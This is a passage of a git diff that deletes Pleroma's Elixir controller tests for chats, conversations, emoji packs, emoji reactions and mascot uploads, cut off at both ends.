to_string(chat.id) - end - end - - describe "GET /api/v1/pleroma/chats" do - setup do: oauth_access(["read:chats"]) - - test "it does not return chats with deleted users", %{conn: conn, user: user} do - recipient = insert(:user) - {:ok, _} = Chat.get_or_create(user.id, recipient.ap_id) - - Pleroma.Repo.delete(recipient) - User.invalidate_cache(recipient) - - result = - conn - |> get("/api/v1/pleroma/chats") - |> json_response_and_validate_schema(200) - - assert length(result) == 0 - end - - test "it does not return chats with users you blocked", %{conn: conn, user: user} do - recipient = insert(:user) - - {:ok, _} = Chat.get_or_create(user.id, recipient.ap_id) - - result = - conn - |> get("/api/v1/pleroma/chats") - |> json_response_and_validate_schema(200) - - assert length(result) == 1 - - User.block(user, recipient) - - result = - conn - |> get("/api/v1/pleroma/chats") - |> json_response_and_validate_schema(200) - - assert length(result) == 0 - end - - test "it returns all chats", %{conn: conn, user: user} do - Enum.each(1..30, fn _ -> - recipient = insert(:user) - {:ok, _} = Chat.get_or_create(user.id, recipient.ap_id) - end) - - result = - conn - |> get("/api/v1/pleroma/chats") - |> json_response_and_validate_schema(200) - - assert length(result) == 30 - end - - test "it return a list of chats the current user is participating in, in descending order of updates", - %{conn: conn, user: user} do - har = insert(:user) - jafnhar = insert(:user) - tridi = insert(:user) - - {:ok, chat_1} = Chat.get_or_create(user.id, har.ap_id) - :timer.sleep(1000) - {:ok, _chat_2} = Chat.get_or_create(user.id, jafnhar.ap_id) - :timer.sleep(1000) - {:ok, chat_3} = Chat.get_or_create(user.id, tridi.ap_id) - :timer.sleep(1000) - - # bump the second one - {:ok, chat_2} = Chat.bump_or_create(user.id, jafnhar.ap_id) - - result = - conn - |> get("/api/v1/pleroma/chats") - |> json_response_and_validate_schema(200) - - ids = Enum.map(result, & &1["id"]) - - assert ids == [ - chat_2.id |> to_string(), - chat_3.id |> to_string(), - chat_1.id |> to_string() - ] - end - - test "it is not affected by :restrict_unauthenticated setting (issue #1973)", %{ - conn: conn, - user: user - } do - clear_config([:restrict_unauthenticated, :profiles, :local], true) - clear_config([:restrict_unauthenticated, :profiles, :remote], true) - - user2 = insert(:user) - user3 = insert(:user, local: false) - - {:ok, _chat_12} = Chat.get_or_create(user.id, user2.ap_id) - {:ok, _chat_13} = Chat.get_or_create(user.id, user3.ap_id) - - result = - conn - |> get("/api/v1/pleroma/chats") - |> json_response_and_validate_schema(200) - - account_ids = Enum.map(result, &get_in(&1, ["account", "id"])) - assert Enum.sort(account_ids) == Enum.sort([user2.id, user3.id]) - end - end -end diff --git a/test/web/pleroma_api/controllers/conversation_controller_test.exs b/test/web/pleroma_api/controllers/conversation_controller_test.exs deleted file mode 100644 index e6d0b3e37..000000000 --- a/test/web/pleroma_api/controllers/conversation_controller_test.exs +++ /dev/null @@ -1,136 +0,0 @@ -# Pleroma: A lightweight social networking server -# Copyright © 2017-2020 Pleroma Authors <https://pleroma.social/> -# SPDX-License-Identifier: AGPL-3.0-only - -defmodule Pleroma.Web.PleromaAPI.ConversationControllerTest do - use Pleroma.Web.ConnCase - - alias Pleroma.Conversation.Participation - alias Pleroma.Repo - alias Pleroma.User - alias Pleroma.Web.CommonAPI - - import Pleroma.Factory - - test "/api/v1/pleroma/conversations/:id" do - user = insert(:user) - %{user: other_user, conn: conn} = oauth_access(["read:statuses"]) - - {:ok, _activity} = - CommonAPI.post(user, %{status: "Hi @#{other_user.nickname}!", visibility: "direct"}) - - [participation] = Participation.for_user(other_user) - - result = - conn - |> get("/api/v1/pleroma/conversations/#{participation.id}") - |> json_response_and_validate_schema(200) - - assert result["id"] == participation.id |> to_string() - end - - test "/api/v1/pleroma/conversations/:id/statuses" do - user = insert(:user) - %{user: other_user, conn: conn} = oauth_access(["read:statuses"]) - third_user = insert(:user) - - {:ok, _activity} = - CommonAPI.post(user, %{status: "Hi @#{third_user.nickname}!", visibility: "direct"}) - - {:ok, activity} = - CommonAPI.post(user, %{status: "Hi @#{other_user.nickname}!", visibility: "direct"}) - - [participation] = Participation.for_user(other_user) - - {:ok, activity_two} = - CommonAPI.post(other_user, %{ - status: "Hi!", - in_reply_to_status_id: activity.id, - in_reply_to_conversation_id: participation.id - }) - - result = - conn - |> get("/api/v1/pleroma/conversations/#{participation.id}/statuses") - |> json_response_and_validate_schema(200) - - assert length(result) == 2 - - id_one = activity.id - id_two = activity_two.id - assert [%{"id" => ^id_one}, %{"id" => ^id_two}] = result - - {:ok, %{id: id_three}} = - CommonAPI.post(other_user, %{ - status: "Bye!", - in_reply_to_status_id: activity.id, - in_reply_to_conversation_id: participation.id - }) - - assert [%{"id" => ^id_two}, %{"id" => ^id_three}] = - conn - |> get("/api/v1/pleroma/conversations/#{participation.id}/statuses?limit=2") - |> json_response_and_validate_schema(:ok) - - assert [%{"id" => ^id_three}] = - conn - |> get("/api/v1/pleroma/conversations/#{participation.id}/statuses?min_id=#{id_two}") - |> json_response_and_validate_schema(:ok) - end - - test "PATCH /api/v1/pleroma/conversations/:id" do - %{user: user, conn: conn} = oauth_access(["write:conversations"]) - other_user = insert(:user) - - {:ok, _activity} = CommonAPI.post(user, %{status: "Hi", visibility: "direct"}) - - [participation] = Participation.for_user(user) - - participation = Repo.preload(participation, :recipients) - - user = User.get_cached_by_id(user.id) - assert [user] == participation.recipients - assert other_user not in participation.recipients - - query = "recipients[]=#{user.id}&recipients[]=#{other_user.id}" - - result = - conn - |> patch("/api/v1/pleroma/conversations/#{participation.id}?#{query}") - |> json_response_and_validate_schema(200) - - assert result["id"] == participation.id |> to_string - - [participation] = Participation.for_user(user) - participation = Repo.preload(participation, :recipients) - - assert user in participation.recipients - assert other_user in participation.recipients - end - - test "POST /api/v1/pleroma/conversations/read" do - user = insert(:user) - %{user: other_user, conn: conn} = oauth_access(["write:conversations"]) - - {:ok, _activity} = - CommonAPI.post(user, %{status: "Hi @#{other_user.nickname}", visibility: "direct"}) - - {:ok, _activity} = - CommonAPI.post(user, %{status: "Hi @#{other_user.nickname}", visibility: "direct"}) - - [participation2, participation1] = Participation.for_user(other_user) - assert Participation.get(participation2.id).read == false - assert Participation.get(participation1.id).read == false - assert User.get_cached_by_id(other_user.id).unread_conversation_count == 2 - - [%{"unread" => false}, %{"unread" => false}] = - conn - |> post("/api/v1/pleroma/conversations/read", %{}) - |> json_response_and_validate_schema(200) - - [participation2, participation1] = Participation.for_user(other_user) - assert Participation.get(participation2.id).read == true - assert Participation.get(participation1.id).read == true - assert User.get_cached_by_id(other_user.id).unread_conversation_count == 0 - end -end diff --git a/test/web/pleroma_api/controllers/emoji_pack_controller_test.exs b/test/web/pleroma_api/controllers/emoji_pack_controller_test.exs deleted file mode 100644 index 386ad8634..000000000 --- a/test/web/pleroma_api/controllers/emoji_pack_controller_test.exs +++ /dev/null @@ -1,604 +0,0 @@ -# Pleroma: A lightweight social networking server -# Copyright © 2017-2020 Pleroma Authors <https://pleroma.social/> -# SPDX-License-Identifier: AGPL-3.0-only - -defmodule Pleroma.Web.PleromaAPI.EmojiPackControllerTest do - use Pleroma.Web.ConnCase - - import Tesla.Mock - import Pleroma.Factory - - @emoji_path Path.join( - Pleroma.Config.get!([:instance, :static_dir]), - "emoji" - ) - setup do: clear_config([:auth, :enforce_oauth_admin_scope_usage], false) - - setup do: clear_config([:instance, :public], true) - - setup do - admin = insert(:user, is_admin: true) - token = insert(:oauth_admin_token, user: admin) - - admin_conn = - build_conn() - |> assign(:user, admin) - |> assign(:token, token) - - Pleroma.Emoji.reload() - {:ok, %{admin_conn: admin_conn}} - end - - test "GET /api/pleroma/emoji/packs when :public: false", %{conn: conn} do - Config.put([:instance, :public], false) - conn |> get("/api/pleroma/emoji/packs") |> json_response_and_validate_schema(200) - end - - test "GET /api/pleroma/emoji/packs", %{conn: conn} do - resp = conn |> get("/api/pleroma/emoji/packs") |> json_response_and_validate_schema(200) - - assert resp["count"] == 4 - - assert resp["packs"] - |> Map.keys() - |> length() == 4 - - shared = resp["packs"]["test_pack"] - assert shared["files"] == %{"blank" => "blank.png", "blank2" => "blank2.png"} - assert Map.has_key?(shared["pack"], "download-sha256") - assert shared["pack"]["can-download"] - assert shared["pack"]["share-files"] - - non_shared = resp["packs"]["test_pack_nonshared"] - assert non_shared["pack"]["share-files"] == false - assert non_shared["pack"]["can-download"] == false - - resp = - conn - |> get("/api/pleroma/emoji/packs?page_size=1") - |> json_response_and_validate_schema(200) - - assert resp["count"] == 4 - - packs = Map.keys(resp["packs"]) - - assert length(packs) == 1 - - [pack1] = packs - - resp = - conn - |> get("/api/pleroma/emoji/packs?page_size=1&page=2") - |> json_response_and_validate_schema(200) - - assert resp["count"] == 4 - packs = Map.keys(resp["packs"]) - assert length(packs) == 1 - [pack2] = packs - - resp = - conn - |> get("/api/pleroma/emoji/packs?page_size=1&page=3") - |> json_response_and_validate_schema(200) - - assert resp["count"] == 4 - packs = Map.keys(resp["packs"]) - assert length(packs) == 1 - [pack3] = packs - - resp = - conn - |> get("/api/pleroma/emoji/packs?page_size=1&page=4") - |> json_response_and_validate_schema(200) - - assert resp["count"] == 4 - packs = Map.keys(resp["packs"]) - assert length(packs) == 1 - [pack4] = packs - assert [pack1, pack2, pack3, pack4] |> Enum.uniq() |> length() == 4 - end - - describe "GET /api/pleroma/emoji/packs/remote" do - test "shareable instance", %{admin_conn: admin_conn, conn: conn} do - resp = - conn - |> get("/api/pleroma/emoji/packs?page=2&page_size=1") - |> json_response_and_validate_schema(200) - - mock(fn - %{method: :get, url: "https://example.com/.well-known/nodeinfo"} -> - json(%{links: [%{href: "https://example.com/nodeinfo/2.1.json"}]}) - - %{method: :get, url: "https://example.com/nodeinfo/2.1.json"} -> - json(%{metadata: %{features: ["shareable_emoji_packs"]}}) - - %{method: :get, url: "https://example.com/api/pleroma/emoji/packs?page=2&page_size=1"} -> - json(resp) - end) - - assert admin_conn - |> get("/api/pleroma/emoji/packs/remote?url=https://example.com&page=2&page_size=1") - |> json_response_and_validate_schema(200) == resp - end - - test "non shareable instance", %{admin_conn: admin_conn} do - mock(fn - %{method: :get, url: "https://example.com/.well-known/nodeinfo"} -> - json(%{links: [%{href: "https://example.com/nodeinfo/2.1.json"}]}) - - %{method: :get, url: "https://example.com/nodeinfo/2.1.json"} -> - json(%{metadata: %{features: []}}) - end) - - assert admin_conn - |> get("/api/pleroma/emoji/packs/remote?url=https://example.com") - |> json_response_and_validate_schema(500) == %{ - "error" => "The requested instance does not support sharing emoji packs" - } - end - end - - describe "GET /api/pleroma/emoji/packs/archive?name=:name" do - test "download shared pack", %{conn: conn} do - resp = - conn - |> get("/api/pleroma/emoji/packs/archive?name=test_pack") - |> response(200) - - {:ok, arch} = :zip.unzip(resp, [:memory]) - - assert Enum.find(arch, fn {n, _} -> n == 'pack.json' end) - assert Enum.find(arch, fn {n, _} -> n == 'blank.png' end) - end - - test "non existing pack", %{conn: conn} do - assert conn - |> get("/api/pleroma/emoji/packs/archive?name=test_pack_for_import") - |> json_response_and_validate_schema(:not_found) == %{ - "error" => "Pack test_pack_for_import does not exist" - } - end - - test "non downloadable pack", %{conn: conn} do - assert conn - |> get("/api/pleroma/emoji/packs/archive?name=test_pack_nonshared") - |> json_response_and_validate_schema(:forbidden) == %{ - "error" => - "Pack test_pack_nonshared cannot be downloaded from this instance, either pack sharing was disabled for this pack or some files are missing" - } - end - end - - describe "POST /api/pleroma/emoji/packs/download" do - test "shared pack from remote and non shared from fallback-src", %{ - admin_conn: admin_conn, - conn: conn - } do - mock(fn - %{method: :get, url: "https://example.com/.well-known/nodeinfo"} -> - json(%{links: [%{href: "https://example.com/nodeinfo/2.1.json"}]}) - - %{method: :get, url: "https://example.com/nodeinfo/2.1.json"} -> - json(%{metadata: %{features: ["shareable_emoji_packs"]}}) - - %{ - method: :get, - url: "https://example.com/api/pleroma/emoji/pack?name=test_pack" - } -> - conn - |> get("/api/pleroma/emoji/pack?name=test_pack") - |> json_response_and_validate_schema(200) - |> json() - - %{ - method: :get, - url: "https://example.com/api/pleroma/emoji/packs/archive?name=test_pack" - } -> - conn - |> get("/api/pleroma/emoji/packs/archive?name=test_pack") - |> response(200) - |> text() - - %{ - method: :get, - url: "https://example.com/api/pleroma/emoji/pack?name=test_pack_nonshared" - } -> - conn - |> get("/api/pleroma/emoji/pack?name=test_pack_nonshared") - |> json_response_and_validate_schema(200) - |> json() - - %{ - method: :get, - url: "https://nonshared-pack" - } -> - text(File.read!("#{@emoji_path}/test_pack_nonshared/nonshared.zip")) - end) - - assert admin_conn - |> put_req_header("content-type", "multipart/form-data") - |> post("/api/pleroma/emoji/packs/download", %{ - url: "https://example.com", - name: "test_pack", - as: "test_pack2" - }) - |> json_response_and_validate_schema(200) == "ok" - - assert File.exists?("#{@emoji_path}/test_pack2/pack.json") - assert File.exists?("#{@emoji_path}/test_pack2/blank.png") - - assert admin_conn - |> delete("/api/pleroma/emoji/pack?name=test_pack2") - |> json_response_and_validate_schema(200) == "ok" - - refute File.exists?("#{@emoji_path}/test_pack2") - - assert admin_conn - |> put_req_header("content-type", "multipart/form-data") - |> post( - "/api/pleroma/emoji/packs/download", - %{ - url: "https://example.com", - name: "test_pack_nonshared", - as: "test_pack_nonshared2" - } - ) - |> json_response_and_validate_schema(200) == "ok" - - assert File.exists?("#{@emoji_path}/test_pack_nonshared2/pack.json") - assert File.exists?("#{@emoji_path}/test_pack_nonshared2/blank.png") - - assert admin_conn - |> delete("/api/pleroma/emoji/pack?name=test_pack_nonshared2") - |> json_response_and_validate_schema(200) == "ok" - - refute File.exists?("#{@emoji_path}/test_pack_nonshared2") - end - - test "nonshareable instance", %{admin_conn: admin_conn} do - mock(fn - %{method: :get, url: "https://old-instance/.well-known/nodeinfo"} -> - json(%{links: [%{href: "https://old-instance/nodeinfo/2.1.json"}]}) - - %{method: :get, url: "https://old-instance/nodeinfo/2.1.json"} -> - json(%{metadata: %{features: []}}) - end) - - assert admin_conn - |> put_req_header("content-type", "multipart/form-data") - |> post( - "/api/pleroma/emoji/packs/download", - %{ - url: "https://old-instance", - name: "test_pack", - as: "test_pack2" - } - ) - |> json_response_and_validate_schema(500) == %{ - "error" => "The requested instance does not support sharing emoji packs" - } - end - - test "checksum fail", %{admin_conn: admin_conn} do - mock(fn - %{method: :get, url: "https://example.com/.well-known/nodeinfo"} -> - json(%{links: [%{href: "https://example.com/nodeinfo/2.1.json"}]}) - - %{method: :get, url: "https://example.com/nodeinfo/2.1.json"} -> - json(%{metadata: %{features: ["shareable_emoji_packs"]}}) - - %{ - method: :get, - url: "https://example.com/api/pleroma/emoji/pack?name=pack_bad_sha" - } -> - {:ok, pack} = Pleroma.Emoji.Pack.load_pack("pack_bad_sha") - %Tesla.Env{status: 200, body: Jason.encode!(pack)} - - %{ - method: :get, - url: "https://example.com/api/pleroma/emoji/packs/archive?name=pack_bad_sha" - } -> - %Tesla.Env{ - status: 200, - body: File.read!("test/instance_static/emoji/pack_bad_sha/pack_bad_sha.zip") - } - end) - - assert admin_conn - |> put_req_header("content-type", "multipart/form-data") - |> post("/api/pleroma/emoji/packs/download", %{ - url: "https://example.com", - name: "pack_bad_sha", - as: "pack_bad_sha2" - }) - |> json_response_and_validate_schema(:internal_server_error) == %{ - "error" => "SHA256 for the pack doesn't match the one sent by the server" - } - end - - test "other error", %{admin_conn: admin_conn} do - mock(fn - %{method: :get, url: "https://example.com/.well-known/nodeinfo"} -> - json(%{links: [%{href: "https://example.com/nodeinfo/2.1.json"}]}) - - %{method: :get, url: "https://example.com/nodeinfo/2.1.json"} -> - json(%{metadata: %{features: ["shareable_emoji_packs"]}}) - - %{ - method: :get, - url: "https://example.com/api/pleroma/emoji/pack?name=test_pack" - } -> - {:ok, pack} = Pleroma.Emoji.Pack.load_pack("test_pack") - %Tesla.Env{status: 200, body: Jason.encode!(pack)} - end) - - assert admin_conn - |> put_req_header("content-type", "multipart/form-data") - |> post("/api/pleroma/emoji/packs/download", %{ - url: "https://example.com", - name: "test_pack", - as: "test_pack2" - }) - |> json_response_and_validate_schema(:internal_server_error) == %{ - "error" => - "The pack was not set as shared and there is no fallback src to download from" - } - end - end - - describe "PATCH /api/pleroma/emoji/pack?name=:name" do - setup do - pack_file = "#{@emoji_path}/test_pack/pack.json" - original_content = File.read!(pack_file) - - on_exit(fn -> - File.write!(pack_file, original_content) - end) - - {:ok, - pack_file: pack_file, - new_data: %{ - "license" => "Test license changed", - "homepage" => "https://pleroma.social", - "description" => "Test description", - "share-files" => false - }} - end - - test "for a pack without a fallback source", ctx do - assert ctx[:admin_conn] - |> put_req_header("content-type", "multipart/form-data") - |> patch("/api/pleroma/emoji/pack?name=test_pack", %{ - "metadata" => ctx[:new_data] - }) - |> json_response_and_validate_schema(200) == ctx[:new_data] - - assert Jason.decode!(File.read!(ctx[:pack_file]))["pack"] == ctx[:new_data] - end - - test "for a pack with a fallback source", ctx do - mock(fn - %{ - method: :get, - url: "https://nonshared-pack" - } -> - text(File.read!("#{@emoji_path}/test_pack_nonshared/nonshared.zip")) - end) - - new_data = Map.put(ctx[:new_data], "fallback-src", "https://nonshared-pack") - - new_data_with_sha = - Map.put( - new_data, - "fallback-src-sha256", - "1967BB4E42BCC34BCC12D57BE7811D3B7BE52F965BCE45C87BD377B9499CE11D" - ) - - assert ctx[:admin_conn] - |> put_req_header("content-type", "multipart/form-data") - |> patch("/api/pleroma/emoji/pack?name=test_pack", %{metadata: new_data}) - |> json_response_and_validate_schema(200) == new_data_with_sha - - assert Jason.decode!(File.read!(ctx[:pack_file]))["pack"] == new_data_with_sha - end - - test "when the fallback source doesn't have all the files", ctx do - mock(fn - %{ - method: :get, - url: "https://nonshared-pack" - } -> - {:ok, {'empty.zip', empty_arch}} = :zip.zip('empty.zip', [], [:memory]) - text(empty_arch) - end) - - new_data = Map.put(ctx[:new_data], "fallback-src", "https://nonshared-pack") - - assert ctx[:admin_conn] - |> put_req_header("content-type", "multipart/form-data") - |> patch("/api/pleroma/emoji/pack?name=test_pack", %{metadata: new_data}) - |> json_response_and_validate_schema(:bad_request) == %{ - "error" => "The fallback archive does not have all files specified in pack.json" - } - end - end - - describe "POST/DELETE /api/pleroma/emoji/pack?name=:name" do - test "creating and deleting a pack", %{admin_conn: admin_conn} do - assert admin_conn - |> post("/api/pleroma/emoji/pack?name=test_created") - |> json_response_and_validate_schema(200) == "ok" - - assert File.exists?("#{@emoji_path}/test_created/pack.json") - - assert Jason.decode!(File.read!("#{@emoji_path}/test_created/pack.json")) == %{ - "pack" => %{}, - "files" => %{}, - "files_count" => 0 - } - - assert admin_conn - |> delete("/api/pleroma/emoji/pack?name=test_created") - |> json_response_and_validate_schema(200) == "ok" - - refute File.exists?("#{@emoji_path}/test_created/pack.json") - end - - test "if pack exists", %{admin_conn: admin_conn} do - path = Path.join(@emoji_path, "test_created") - File.mkdir(path) - pack_file = Jason.encode!(%{files: %{}, pack: %{}}) - File.write!(Path.join(path, "pack.json"), pack_file) - - assert admin_conn - |> post("/api/pleroma/emoji/pack?name=test_created") - |> json_response_and_validate_schema(:conflict) == %{ - "error" => "A pack named \"test_created\" already exists" - } - - on_exit(fn -> File.rm_rf(path) end) - end - - test "with empty name", %{admin_conn: admin_conn} do - assert admin_conn - |> post("/api/pleroma/emoji/pack?name= ") - |> json_response_and_validate_schema(:bad_request) == %{ - "error" => "pack name cannot be empty" - } - end - end - - test "deleting nonexisting pack", %{admin_conn: admin_conn} do - assert admin_conn - |> delete("/api/pleroma/emoji/pack?name=non_existing") - |> json_response_and_validate_schema(:not_found) == %{ - "error" => "Pack non_existing does not exist" - } - end - - test "deleting with empty name", %{admin_conn: admin_conn} do - assert admin_conn - |> delete("/api/pleroma/emoji/pack?name= ") - |> json_response_and_validate_schema(:bad_request) == %{ - "error" => "pack name cannot be empty" - } - end - - test "filesystem import", %{admin_conn: admin_conn, conn: conn} do - on_exit(fn -> - File.rm!("#{@emoji_path}/test_pack_for_import/emoji.txt") - File.rm!("#{@emoji_path}/test_pack_for_import/pack.json") - end) - - resp = conn |> get("/api/pleroma/emoji/packs") |> json_response_and_validate_schema(200) - - refute Map.has_key?(resp["packs"], "test_pack_for_import") - - assert admin_conn - |> get("/api/pleroma/emoji/packs/import") - |> json_response_and_validate_schema(200) == ["test_pack_for_import"] - - resp = conn |> get("/api/pleroma/emoji/packs") |> json_response_and_validate_schema(200) - assert resp["packs"]["test_pack_for_import"]["files"] == %{"blank" => "blank.png"} - - File.rm!("#{@emoji_path}/test_pack_for_import/pack.json") - refute File.exists?("#{@emoji_path}/test_pack_for_import/pack.json") - - emoji_txt_content = """ - blank, blank.png, Fun - blank2, blank.png - foo, /emoji/test_pack_for_import/blank.png - bar - """ - - File.write!("#{@emoji_path}/test_pack_for_import/emoji.txt", emoji_txt_content) - - assert admin_conn - |> get("/api/pleroma/emoji/packs/import") - |> json_response_and_validate_schema(200) == ["test_pack_for_import"] - - resp = conn |> get("/api/pleroma/emoji/packs") |> json_response_and_validate_schema(200) - - assert resp["packs"]["test_pack_for_import"]["files"] == %{ - "blank" => "blank.png", - "blank2" => "blank.png", - "foo" => "blank.png" - } - end - - describe "GET /api/pleroma/emoji/pack?name=:name" do - test "shows pack.json", %{conn: conn} do - assert %{ - "files" => files, - "files_count" => 2, - "pack" => %{ - "can-download" => true, - "description" => "Test description", - "download-sha256" => _, - "homepage" => "https://pleroma.social", - "license" => "Test license", - "share-files" => true - } - } = - conn - |> get("/api/pleroma/emoji/pack?name=test_pack") - |> json_response_and_validate_schema(200) - - assert files == %{"blank" => "blank.png", "blank2" => "blank2.png"} - - assert %{ - "files" => files, - "files_count" => 2 - } = - conn - |> get("/api/pleroma/emoji/pack?name=test_pack&page_size=1") - |> json_response_and_validate_schema(200) - - assert files |> Map.keys() |> length() == 1 - - assert %{ - "files" => files, - "files_count" => 2 - } = - conn - |> get("/api/pleroma/emoji/pack?name=test_pack&page_size=1&page=2") - |> json_response_and_validate_schema(200) - - assert files |> Map.keys() |> length() == 1 - end - - test "for pack name with special chars", %{conn: conn} do - assert %{ - "files" => files, - "files_count" => 1, - "pack" => %{ - "can-download" => true, - "description" => "Test description", - "download-sha256" => _, - "homepage" => "https://pleroma.social", - "license" => "Test license", - "share-files" => true - } - } = - conn - |> get("/api/pleroma/emoji/pack?name=blobs.gg") - |> json_response_and_validate_schema(200) - end - - test "non existing pack", %{conn: conn} do - assert conn - |> get("/api/pleroma/emoji/pack?name=non_existing") - |> json_response_and_validate_schema(:not_found) == %{ - "error" => "Pack non_existing does not exist" - } - end - - test "error name", %{conn: conn} do - assert conn - |> get("/api/pleroma/emoji/pack?name= ") - |> json_response_and_validate_schema(:bad_request) == %{ - "error" => "pack name cannot be empty" - } - end - end -end diff --git a/test/web/pleroma_api/controllers/emoji_reaction_controller_test.exs b/test/web/pleroma_api/controllers/emoji_reaction_controller_test.exs deleted file mode 100644 index 3deab30d1..000000000 --- a/test/web/pleroma_api/controllers/emoji_reaction_controller_test.exs +++ /dev/null @@ -1,149 +0,0 @@ -# Pleroma: A lightweight social networking server -# Copyright © 2017-2020 Pleroma Authors <https://pleroma.social/> -# SPDX-License-Identifier: AGPL-3.0-only - -defmodule Pleroma.Web.PleromaAPI.EmojiReactionControllerTest do - use Oban.Testing, repo: Pleroma.Repo - use Pleroma.Web.ConnCase - - alias Pleroma.Object - alias Pleroma.Tests.ObanHelpers - alias Pleroma.User - alias Pleroma.Web.CommonAPI - - import Pleroma.Factory - - test "PUT /api/v1/pleroma/statuses/:id/reactions/:emoji", %{conn: conn} do - user = insert(:user) - other_user = insert(:user) - - {:ok, activity} = CommonAPI.post(user, %{status: "#cofe"}) - - result = - conn - |> assign(:user, other_user) - |> assign(:token, insert(:oauth_token, user: other_user, scopes: ["write:statuses"])) - |> put("/api/v1/pleroma/statuses/#{activity.id}/reactions/☕") - |> json_response_and_validate_schema(200) - - # We return the status, but this our implementation detail. - assert %{"id" => id} = result - assert to_string(activity.id) == id - - assert result["pleroma"]["emoji_reactions"] == [ - %{"name" => "☕", "count" => 1, "me" => true} - ] - - # Reacting with a non-emoji - assert conn - |> assign(:user, other_user) - |> assign(:token, insert(:oauth_token, user: other_user, scopes: ["write:statuses"])) - |> put("/api/v1/pleroma/statuses/#{activity.id}/reactions/x") - |> json_response_and_validate_schema(400) - end - - test "DELETE /api/v1/pleroma/statuses/:id/reactions/:emoji", %{conn: conn} do - user = insert(:user) - other_user = insert(:user) - - {:ok, activity} = CommonAPI.post(user, %{status: "#cofe"}) - {:ok, _reaction_activity} = CommonAPI.react_with_emoji(activity.id, other_user, "☕") - - ObanHelpers.perform_all() - - result = - conn - |> assign(:user, other_user) - |> assign(:token, insert(:oauth_token, user: other_user, scopes: ["write:statuses"])) - |> delete("/api/v1/pleroma/statuses/#{activity.id}/reactions/☕") - - assert %{"id" => id} = json_response_and_validate_schema(result, 200) - assert to_string(activity.id) == id - - ObanHelpers.perform_all() - - object = Object.get_by_ap_id(activity.data["object"]) - - assert object.data["reaction_count"] == 0 - end - - test "GET /api/v1/pleroma/statuses/:id/reactions", %{conn: conn} do - user = insert(:user) - other_user = insert(:user) - doomed_user = insert(:user) - - {:ok, activity} = CommonAPI.post(user, %{status: "#cofe"}) - - result = - conn - |> get("/api/v1/pleroma/statuses/#{activity.id}/reactions") - |> json_response_and_validate_schema(200) - - assert result == [] - - {:ok, _} = CommonAPI.react_with_emoji(activity.id, other_user, "🎅") - {:ok, _} = CommonAPI.react_with_emoji(activity.id, doomed_user, "🎅") - - User.perform(:delete, doomed_user) - - result = - conn - |> get("/api/v1/pleroma/statuses/#{activity.id}/reactions") - |> json_response_and_validate_schema(200) - - [%{"name" => "🎅", "count" => 1, "accounts" => [represented_user], "me" => false}] = result - - assert represented_user["id"] == other_user.id - - result = - conn - |> assign(:user, other_user) - |> assign(:token, insert(:oauth_token, user: other_user, scopes: ["read:statuses"])) - |> get("/api/v1/pleroma/statuses/#{activity.id}/reactions") - |> json_response_and_validate_schema(200) - - assert [%{"name" => "🎅", "count" => 1, "accounts" => [_represented_user], "me" => true}] = - result - end - - test "GET /api/v1/pleroma/statuses/:id/reactions with :show_reactions disabled", %{conn: conn} do - clear_config([:instance, :show_reactions], false) - - user = insert(:user) - other_user = insert(:user) - - {:ok, activity} = CommonAPI.post(user, %{status: "#cofe"}) - {:ok, _} = CommonAPI.react_with_emoji(activity.id, other_user, "🎅") - - result = - conn - |> get("/api/v1/pleroma/statuses/#{activity.id}/reactions") - |> json_response_and_validate_schema(200) - - assert result == [] - end - - test "GET /api/v1/pleroma/statuses/:id/reactions/:emoji", %{conn: conn} do - user = insert(:user) - other_user = insert(:user) - - {:ok, activity} = CommonAPI.post(user, %{status: "#cofe"}) - - result = - conn - |> get("/api/v1/pleroma/statuses/#{activity.id}/reactions/🎅") - |> json_response_and_validate_schema(200) - - assert result == [] - - {:ok, _} = CommonAPI.react_with_emoji(activity.id, other_user, "🎅") - {:ok, _} = CommonAPI.react_with_emoji(activity.id, other_user, "☕") - - assert [%{"name" => "🎅", "count" => 1, "accounts" => [represented_user], "me" => false}] = - conn - |> get("/api/v1/pleroma/statuses/#{activity.id}/reactions/🎅") - |> json_response_and_validate_schema(200) - - assert represented_user["id"] == other_user.id - end -end diff --git a/test/web/pleroma_api/controllers/mascot_controller_test.exs b/test/web/pleroma_api/controllers/mascot_controller_test.exs deleted file mode 100644 index e2ead6e15..000000000 --- a/test/web/pleroma_api/controllers/mascot_controller_test.exs +++ /dev/null @@ -1,73 +0,0 @@ -# Pleroma: A lightweight social networking server -# Copyright © 2017-2020 Pleroma Authors <https://pleroma.social/> -# SPDX-License-Identifier: AGPL-3.0-only - -defmodule Pleroma.Web.PleromaAPI.MascotControllerTest do - use Pleroma.Web.ConnCase - - alias Pleroma.User - - test "mascot upload" do - %{conn: conn} = oauth_access(["write:accounts"]) - - non_image_file = %Plug.Upload{ - content_type: "audio/mpeg", - path: Path.absname("test/fixtures/sound.mp3"), - filename: "sound.mp3" - } - - ret_conn = - conn - |> put_req_header("content-type", "multipart/form-data") - |> put("/api/v1/pleroma/mascot", %{"file" => non_image_file}) - - assert json_response_and_validate_schema(ret_conn, 415) - - file = %Plug.Upload{ - content_type: "image/jpg", - path: Path.absname("test/fixtures/image.jpg"), - filename: "an_image.jpg" - } - - conn = - conn - |> put_req_header("content-type", "multipart/form-data") - |> put("/api/v1/pleroma/mascot", %{"file" => file}) - - assert %{"id" => _, "type" => image} = json_response_and_validate_schema(conn, 200) - end - - test "mascot retrieving" do - %{user: user, conn: conn} = oauth_access(["read:accounts", "write:accounts"]) - - # When user hasn't set a mascot, we should just get pleroma tan back - ret_conn = get(conn, "/api/v1/pleroma/mascot") - - assert %{"url" => url} = json_response_and_validate_schema(ret_conn, 200) - assert url =~ "pleroma-fox-tan-smol" - - # When a user sets their mascot, we should get that back - file = %Plug.Upload{ - content_type: "image/jpg", - path: Path.absname("test/fixtures/image.jpg"), - filename: "an_image.jpg" - } - - ret_conn = - conn - |> put_req_header("content-type", "multipart/form-data") - |> put("/api/v1/pleroma/mascot", %{"file" => file}) - - assert json_response_and_validate_schema(ret_conn, 200) - - user = User.get_cached_by_id(user.id) - - conn = - conn - |> assign(:user, user) - |> get("/api/v1/pleroma/mascot") - - assert %{"url" => url, "type" => "image"} = json_response_and_validate_schema(conn, 200) - assert url =~ "an_image" - end -end diff --git a/test/web/pleroma_api/controllers/notification_controller_test.exs b/test/web/pleroma_api/controllers/notification_controller_test.exs deleted file mode 100644 index bb4fe6c49..000000000 --- a/test/web/pleroma_api/controllers/notification_controller_test.exs +++ /dev/null @@ -1,68 +0,0 @@ -# Pleroma: A lightweight social networking server -# Copyright © 2017-2020 Pleroma Authors <https://pleroma.social/> -# SPDX-License-Identifier: AGPL-3.0-only - -defmodule Pleroma.Web.PleromaAPI.NotificationControllerTest do - use 